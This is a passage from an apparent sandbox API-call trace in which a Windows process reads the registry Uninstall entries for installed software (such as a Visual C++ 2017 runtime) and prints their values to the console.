", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.902] GetConsoleOutputCP () returned 0x1b5 [0149.902] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.902] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.902] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.902] lstrlenW (lpString="Language") returned 8 [0149.902] __iob_func () returned 0x7fefd702a80 [0149.902] _fileno (_File=0x7fefd702ab0) returned 1 [0149.902] _errno () returned 0x204bb0 [0149.902] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.902] _errno () returned 0x204bb0 [0149.902] GetFileType (hFile=0x50) returned 0x1 [0149.902] lstrlenW (lpString="Language") returned 8 [0149.902] GetConsoleOutputCP () returned 0x1b5 [0149.902] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.903] GetConsoleOutputCP () returned 0x1b5 [0149.903] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0149.903] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.903] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.903] __iob_func () returned 0x7fefd702a80 [0149.903] _fileno (_File=0x7fefd702ab0) returned 1 [0149.903] _errno () returned 0x204bb0 [0149.903] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.903] _errno () returned 0x204bb0 [0149.903] GetFileType (hFile=0x50) returned 0x1 [0149.903] lstrlenW (lpString=" ") returned 4 [0149.903] GetConsoleOutputCP () returned 0x1b5 [0149.903] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.903] GetConsoleOutputCP () returned 0x1b5 [0149.903] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.903] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.903] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.903] __iob_func () returned 0x7fefd702a80 [0149.903] _fileno (_File=0x7fefd702ab0) returned 1 [0149.903] _errno () returned 0x204bb0 [0149.903] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.903] _errno () returned 0x204bb0 [0149.903] GetFileType (hFile=0x50) returned 0x1 [0149.903] lstrlenW (lpString="REG_DWORD") returned 9 [0149.904] GetConsoleOutputCP () returned 0x1b5 [0149.904] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.904] GetConsoleOutputCP () returned 0x1b5 [0149.904] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.904] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.904] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.904] __iob_func () returned 0x7fefd702a80 [0149.904] _fileno (_File=0x7fefd702ab0) returned 1 [0149.904] _errno () returned 0x204bb0 [0149.904] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.904] _errno () returned 0x204bb0 [0149.904] GetFileType (hFile=0x50) returned 0x1 [0149.904] lstrlenW (lpString=" ") returned 4 [0149.904] GetConsoleOutputCP () returned 0x1b5 [0149.904] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.904] GetConsoleOutputCP () returned 0x1b5 [0149.904] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.904] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.904] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.905] __iob_func () returned 0x7fefd702a80 [0149.905] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.905] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x409") returned 5 [0149.905] _fileno (_File=0x7fefd702ab0) returned 1 [0149.905] _errno () returned 0x204bb0 [0149.905] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.905] _errno () returned 0x204bb0 [0149.905] GetFileType (hFile=0x50) returned 0x1 [0149.905] lstrlenW (lpString="0x409") returned 5 [0149.905] GetConsoleOutputCP () returned 0x1b5 [0149.905] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0149.905] GetConsoleOutputCP () returned 0x1b5 [0149.905] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x409", lpUsedDefaultChar=0x0) returned 5 [0149.905] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0149.905] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.905] __iob_func () returned 0x7fefd702a80 [0149.905] _fileno (_File=0x7fefd702ab0) returned 1 [0149.905] _errno () returned 0x204bb0 [0149.905] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.905] _errno () returned 0x204bb0 [0149.905] GetFileType (hFile=0x50) returned 0x1 [0149.905] lstrlenW (lpString="\n") returned 1 [0149.905] GetConsoleOutputCP () returned 0x1b5 [0149.906] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.906] GetConsoleOutputCP () returned 0x1b5 [0149.906] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.906] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.906] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.906] GetProcessHeap () returned 0x3c0000 [0149.906] GetProcessHeap () returned 0x3c0000 [0149.906] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.906] GetProcessHeap () returned 0x3c0000 [0149.906] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.906] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.906] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.906] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x7a) returned 0x0 [0149.906] GetProcessHeap () returned 0x3c0000 [0149.906] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x7c) returned 0x3db830 [0149.906] GetProcessHeap () returned 0x3c0000 [0149.906] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.906] GetProcessHeap () returned 0x3c0000 [0149.906] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x7c [0149.906] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x7a | out: pdwType=0x29f700*=0x1, pvData="Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017", pcbData=0x29f780*=0x78) returned 0x0 [0149.906] __iob_func () returned 0x7fefd702a80 [0149.906] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.906] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.906] _fileno (_File=0x7fefd702ab0) returned 1 [0149.906] _errno () returned 0x204bb0 [0149.906] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.906] _errno () returned 0x204bb0 [0149.906] GetFileType (hFile=0x50) returned 0x1 [0149.907] lstrlenW (lpString=" ") returned 4 [0149.907] GetConsoleOutputCP () returned 0x1b5 [0149.907] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.907] GetConsoleOutputCP () returned 0x1b5 [0149.907] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.907] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.907] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.907] lstrlenW (lpString="DisplayName") returned 11 [0149.907] __iob_func () returned 0x7fefd702a80 [0149.907] _fileno (_File=0x7fefd702ab0) returned 1 [0149.907] _errno () returned 0x204bb0 [0149.907] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.907] _errno () returned 0x204bb0 [0149.907] GetFileType (hFile=0x50) returned 0x1 [0149.907] lstrlenW (lpString="DisplayName") returned 11 [0149.907] GetConsoleOutputCP () returned 0x1b5 [0149.907] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.907] GetConsoleOutputCP () returned 0x1b5 [0149.907] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0149.907] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.907] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.908] __iob_func () returned 0x7fefd702a80 [0149.924] _fileno (_File=0x7fefd702ab0) returned 1 [0149.924] _errno () returned 0x204bb0 [0149.924] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.924] _errno () returned 0x204bb0 [0149.924] GetFileType (hFile=0x50) returned 0x1 [0149.924] lstrlenW (lpString=" ") returned 4 [0149.924] GetConsoleOutputCP () returned 0x1b5 [0149.925] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.925] GetConsoleOutputCP () returned 0x1b5 [0149.925] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.925] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.925] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.925] __iob_func () returned 0x7fefd702a80 [0149.925] _fileno (_File=0x7fefd702ab0) returned 1 [0149.925] _errno () returned 0x204bb0 [0149.925] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.925] _errno () returned 0x204bb0 [0149.925] GetFileType (hFile=0x50) returned 0x1 [0149.925] lstrlenW (lpString="REG_SZ") returned 6 [0149.925] GetConsoleOutputCP () returned 0x1b5 [0149.925] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.925] GetConsoleOutputCP () returned 0x1b5 [0149.925] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.925] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.925] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.925] __iob_func () returned 0x7fefd702a80 [0149.925] _fileno (_File=0x7fefd702ab0) returned 1 [0149.925] _errno () returned 0x204bb0 [0149.925] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.926] _errno () returned 0x204bb0 [0149.926] GetFileType (hFile=0x50) returned 0x1 [0149.926] lstrlenW (lpString=" ") returned 4 [0149.926] GetConsoleOutputCP () returned 0x1b5 [0149.926] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.926] GetConsoleOutputCP () returned 0x1b5 [0149.926] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.926] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.926] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.926] __iob_func () returned 0x7fefd702a80 [0149.926] _fileno (_File=0x7fefd702ab0) returned 1 [0149.926] _errno () returned 0x204bb0 [0149.926] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.926] _errno () returned 0x204bb0 [0149.926] GetFileType (hFile=0x50) returned 0x1 [0149.926] lstrlenW (lpString="Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017") returned 59 [0149.926] GetConsoleOutputCP () returned 0x1b5 [0149.926] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017", cchWideChar=59, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 59 [0149.926] GetConsoleOutputCP () returned 0x1b5 [0149.926] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017", cchWideChar=59, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017", lpUsedDefaultChar=0x0) returned 59 [0149.927] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 59 [0149.927] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.927] __iob_func () returned 0x7fefd702a80 [0149.927] _fileno (_File=0x7fefd702ab0) returned 1 [0149.927] _errno () returned 0x204bb0 [0149.927] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.927] _errno () returned 0x204bb0 [0149.927] GetFileType (hFile=0x50) returned 0x1 [0149.927] lstrlenW (lpString="\n") returned 1 [0149.927] GetConsoleOutputCP () returned 0x1b5 [0149.927] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.927] GetConsoleOutputCP () returned 0x1b5 [0149.927] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.927] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.927] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.927] GetProcessHeap () returned 0x3c0000 [0149.927] GetProcessHeap () returned 0x3c0000 [0149.927] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.927] GetProcessHeap () returned 0x3c0000 [0149.927] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x7c [0149.927] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.927] __iob_func () returned 0x7fefd702a80 [0149.927] _fileno (_File=0x7fefd702ab0) returned 1 [0149.927] _errno () returned 0x204bb0 [0149.927] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.927] _errno () returned 0x204bb0 [0149.927] GetFileType (hFile=0x50) returned 0x1 [0149.928] lstrlenW (lpString="\n") returned 1 [0149.928] GetConsoleOutputCP () returned 0x1b5 [0149.928] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.928] GetConsoleOutputCP () returned 0x1b5 [0149.928] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.928] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.928] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.928] GetProcessHeap () returned 0x3c0000 [0149.928] GetProcessHeap () returned 0x3c0000 [0149.928] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.928] GetProcessHeap () returned 0x3c0000 [0149.928] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x28 [0149.928] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0149.928] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.928] GetProcessHeap () returned 0x3c0000 [0149.928] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.928] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{582EA838-9199-3518-A05C-DB09462F68EC}") returned 121 [0149.928] GetProcessHeap () returned 0x3c0000 [0149.928] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xf6) returned 0x3e1c70 [0149.928] GetProcessHeap () returned 0x3c0000 [0149.928] GetProcessHeap () returned 0x3c0000 [0149.928] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.928] GetProcessHeap () returned 0x3c0000 [0149.928] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.928] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.928] GetProcessHeap () returned 0x3c0000 [0149.928] GetProcessHeap () returned 0x3c0000 [0149.928] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.929] GetProcessHeap () returned 0x3c0000 [0149.929] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xf6 [0149.929] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.929] RegCloseKey (hKey=0x5c) returned 0x0 [0149.929] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x1c, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{68306422-7C57-373F-8860-D26CE4BA2A15}", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.929] __iob_func () returned 0x7fefd702a80 [0149.929] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.929] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{68306422-7C57-373F-8860-D26CE4BA2A15}\n") returned 122 [0149.929] _fileno (_File=0x7fefd702ab0) returned 1 [0149.929] _errno () returned 0x204bb0 [0149.929] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.929] _errno () returned 0x204bb0 [0149.929] GetFileType (hFile=0x50) returned 0x1 [0149.929] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{68306422-7C57-373F-8860-D26CE4BA2A15}\n") returned 122 [0149.929] GetConsoleOutputCP () returned 0x1b5 [0149.929] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{68306422-7C57-373F-8860-D26CE4BA2A15}\n", cchWideChar=122, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 122 [0149.929] GetConsoleOutputCP () returned 0x1b5 [0149.929] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{68306422-7C57-373F-8860-D26CE4BA2A15}\n", cchWideChar=122, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{68306422-7C57-373F-8860-D26CE4BA2A15}\n", lpUsedDefaultChar=0x0) returned 122 [0149.929] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 122 [0149.929] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.929] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{68306422-7C57-373F-8860-D26CE4BA2A15}", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.929] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x19, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.930] GetProcessHeap () returned 0x3c0000 [0149.930] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x28) returned 0x3d5c30 [0149.930] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.930] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.930] GetProcessHeap () returned 0x3c0000 [0149.930] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.930] GetProcessHeap () returned 0x3c0000 [0149.930] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.930] GetProcessHeap () returned 